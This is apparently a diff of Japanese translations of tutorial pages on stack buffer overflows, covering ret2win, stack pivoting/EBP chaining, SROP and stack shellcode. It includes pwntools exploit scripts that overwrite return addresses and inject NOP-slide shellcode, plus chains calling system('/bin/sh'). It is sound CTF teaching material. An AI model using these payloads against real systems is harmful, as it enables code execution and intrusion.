- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出します。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。
|
- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再びESPに読み込むことを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込まれ、実行されます。
|
||||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||||
- SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。
|
- SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。
|
||||||
|
|
||||||
|
@ -6,11 +6,11 @@
|
|||||||
|
|
||||||
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
|
||||||
|
|
||||||
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
|
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**することができます。
|
||||||
|
|
||||||
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
|
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きすることができます。
|
||||||
|
|
||||||
これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
|
||||||
|
|
||||||
例えば、以下の関数が脆弱である可能性があります:
|
例えば、以下の関数が脆弱である可能性があります:
|
||||||
```c
|
```c
|
||||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
|
|||||||
|
|
||||||
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。
|
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。
|
||||||
|
|
||||||
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ**連続した部分列として現れる**循環シーケンスです。
|
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる** **循環シーケンス**です。
|
||||||
|
|
||||||
この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
|
この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
|
||||||
|
|
||||||
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||||||
## スタックオーバーフローの悪用
|
## スタックオーバーフローの悪用
|
||||||
|
|
||||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\
|
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\
|
||||||
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがこのポインタで指定された場所にリダイレクトされる**ことです。
|
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。
|
||||||
|
|
||||||
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。
|
||||||
|
|
||||||
### Ret2win
|
### Ret2win
|
||||||
|
|
||||||
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするためのオフセット**を見つけ、呼び出す**関数のアドレス**を見つける必要があります(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
この種のCTFチャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2win/
|
ret2win/
|
||||||
@ -71,9 +71,9 @@ ret2win/
|
|||||||
stack-shellcode/
|
stack-shellcode/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### ROP & Ret2... テクニック
|
### ROP & Ret2...技術
|
||||||
|
|
||||||
このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscall...)を実行することができます:
|
この技術は、前の技術に対する主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかの技術(ret2lib、ret2syscall...)を実行することが可能になります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../rop-return-oriented-programing/
|
../rop-return-oriented-programing/
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目標は、特定の未呼び出しの関数を実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
|
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、与えられたバイナリの脆弱性を悪用して、バイナリ内の特定の未呼び出し関数を実行することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
|
||||||
|
|
||||||
### Cの例
|
### Cの例
|
||||||
|
|
||||||
@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査するための他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
|
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して、次のようにできます:
|
||||||
```sh
|
```sh
|
||||||
objdump -d vulnerable | grep win
|
objdump -d vulnerable | grep win
|
||||||
```
|
```
|
||||||
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 
|
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 
|
||||||
|
|
||||||
Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
|
Python スクリプトは、`vulnerable_function` によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを `win` のアドレスで上書きするように巧妙に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
|
||||||
|
|
||||||
## 保護
|
## 保護
|
||||||
|
|
||||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
|
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべき** で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` またはそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
|
||||||
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
|
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきで、侵害された EIP リターンアドレスは決して追跡されません。
|
||||||
|
|
||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
|
||||||
@ -90,7 +90,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
|
|||||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||||
- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト)
|
- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト)
|
||||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||||
- プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
|
- プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。
|
||||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||||
- 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き
|
- 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き
|
||||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# スタックピボット - EBP2Ret - EBPチェイニング
|
# スタックピボッティング - EBP2Ret - EBPチェイニング
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを目的としています。
|
この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
|
||||||
|
|
||||||
念のため、**`leave`**は基本的に次の意味です:
|
念のため、**`leave`**は基本的に次の意味です:
|
||||||
```
|
```
|
||||||
@ -12,51 +12,51 @@ mov ebp, esp
|
|||||||
pop ebp
|
pop ebp
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
そして、**EBPがスタックにある**ため、スタックを制御することでそれを制御することが可能です。
|
And as the **EBPはスタックにある** EIPの前に、スタックを制御することでそれを制御することが可能です。
|
||||||
|
|
||||||
### EBP2Ret
|
### EBP2Ret
|
||||||
|
|
||||||
この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。
|
この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない**場合に特に有用です。これは、関数が実行を終了する際の動作を利用します。
|
||||||
|
|
||||||
`fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入することができれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\
|
`fvuln`の実行中に、シェルコードのアドレスがあるメモリの領域を指す**偽のEBP**をスタックに注入することに成功すれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作はESPを4減少させ、**実質的に攻撃者がそこに保存したアドレスを指すことになります。**\
|
||||||
ここで、**2つのアドレスを知っておく必要があります**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要がある場所です。
|
ここで**2つのアドレスを知っておく必要があります**: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要があるアドレスです。
|
||||||
|
|
||||||
#### 攻撃構築
|
#### Exploit Construction
|
||||||
|
|
||||||
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
|
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
|
||||||
|
|
||||||
次に、**任意のコードを実行する**ために`ret`が使用するアドレスを知っておく必要があります。以下のように使用できます:
|
次に、**任意のコードを実行する**ために使用される`ret`のアドレスを知っておく必要があります。以下のように使用できます:
|
||||||
|
|
||||||
- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
|
- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
|
||||||
- **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレス(x86ビット)。
|
- **`system()`**のアドレスの後に**4バイトのゴミデータ**と`"/bin/sh"`のアドレス(x86ビット)。
|
||||||
- **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))の後に**実行するシェルコード**。
|
- **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))の後に**実行するシェルコード**。
|
||||||
- 一部の[**ROP**](../rop-return-oriented-programing/)チェーン。
|
- 一部の[**ROP**](../rop-return-oriented-programing/index.html)チェーン。
|
||||||
|
|
||||||
制御されたメモリのこれらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
|
これらのアドレスの前には、制御されたメモリ部分に**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
|
||||||
|
|
||||||
#### Off-By-One Exploit
|
#### Off-By-One Exploit
|
||||||
|
|
||||||
この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトと共有する必要があり、より制約のある条件で類似の操作が可能になります。\
|
この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能になります。\
|
||||||
通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
|
通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
|
||||||
|
|
||||||
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
|
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
|
||||||
|
|
||||||
### **EBPチェーニング**
|
### **EBP Chaining**
|
||||||
|
|
||||||
したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP`に`leave; ret`のアドレスを配置することで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。
|
したがって、スタックの`EBP`エントリに制御されたアドレスを置き、`EIP`に`leave; ret`のアドレスを置くことで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。
|
||||||
|
|
||||||
今、**`ESP`**は望ましいアドレスを指して制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です:
|
今、**`ESP`**は望ましいアドレスを指すように制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です:
|
||||||
|
|
||||||
- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
|
- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
|
||||||
- **`system()`** -> `ret`によって呼び出される
|
- **`system()`** -> `ret`によって呼び出される
|
||||||
- **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始
|
- **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始
|
||||||
- **`&("/bin/sh")`**-> `system`のパラメータ
|
- **`&("/bin/sh")`**-> `system`のパラメータ
|
||||||
|
|
||||||
基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。
|
基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。
|
||||||
|
|
||||||
これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。
|
これは[ret2lib](../rop-return-oriented-programing/ret2lib/index.html)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。
|
||||||
|
|
||||||
さらに、ここにこの技術を使用して**スタックリーク**で勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終的なペイロードです:
|
さらに、ここにこの技術を使用した[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これは**スタックリーク**を使用して勝利関数を呼び出します。これはページからの最終的なペイロードです:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ print(p.recvline())
|
|||||||
```
|
```
|
||||||
## EBPは使用されない可能性がある
|
## EBPは使用されない可能性がある
|
||||||
|
|
||||||
[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができない**ため、EBPを制御することで動作するエクスプロイトは基本的に失敗します。\
|
[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができません**。したがって、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。\
|
||||||
これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。
|
これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。
|
||||||
|
|
||||||
- **最適化されていない:**
|
- **最適化されていない:**
|
||||||
@ -175,7 +175,7 @@ xchg <reg>, rsp
|
|||||||
```
|
```
|
||||||
### jmp esp
|
### jmp esp
|
||||||
|
|
||||||
ret2espテクニックについては、こちらを確認してください:
|
ret2espテクニックについてはここを確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||||
@ -188,13 +188,13 @@ ret2espテクニックについては、こちらを確認してください:
|
|||||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||||
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
|
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
|
||||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||||
- 64ビット、no relro、canary、nx、pie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用してpieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットして呼び出します。
|
- 64ビット、relroなし、canary、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用して戻り、pieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用した永続ループを作成し、`__libc_csu_fini`を呼び出します([こちらに詳細](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットを呼び出します。
|
||||||
|
|
||||||
## ARM64
|
## ARM64
|
||||||
|
|
||||||
ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
|
ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
|
||||||
|
|
||||||
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きして**SPレジスタを制御することはできません**。たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。
|
したがって、デフォルトでは、エピローグを悪用するだけでは**SPレジスタを制御することはできません**。スタック内のデータを上書きしても、SPを制御できたとしても、**`x30`**レジスタを**制御する方法**が必要です。
|
||||||
|
|
||||||
- プロローグ
|
- プロローグ
|
||||||
|
|
||||||
@ -213,9 +213,9 @@ ret
|
|||||||
```
|
```
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> ARM64でスタックピボットに似たことを実行する方法は、**`SP`**を制御できること(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**それに`RET`**することです。
|
> ARM64でスタックピボティングに似たことを実行する方法は、**`SP`**を**制御すること**(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**`RET`**することです。
|
||||||
|
|
||||||
次のページでは、**ARM64におけるRet2espの同等物**を見ることができます:
|
また、次のページでは**ARM64におけるRet2espの同等物**を見ることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行したりするために使用される古典的な方法です。以下に、プロセスの概要と、シンプルなCの例、そして**pwntools**を使用して対応するエクスプロイトを書く方法を示します。
|
**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。プロセスの内訳を示し、シンプルなCの例と、**pwntools** を使用して対応するエクスプロイトを書く方法を説明します。
|
||||||
|
|
||||||
### Cの例: 脆弱なプログラム
|
### Cの例: 脆弱なプログラム
|
||||||
|
|
||||||
@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、次に**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
|
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
|
||||||
|
|
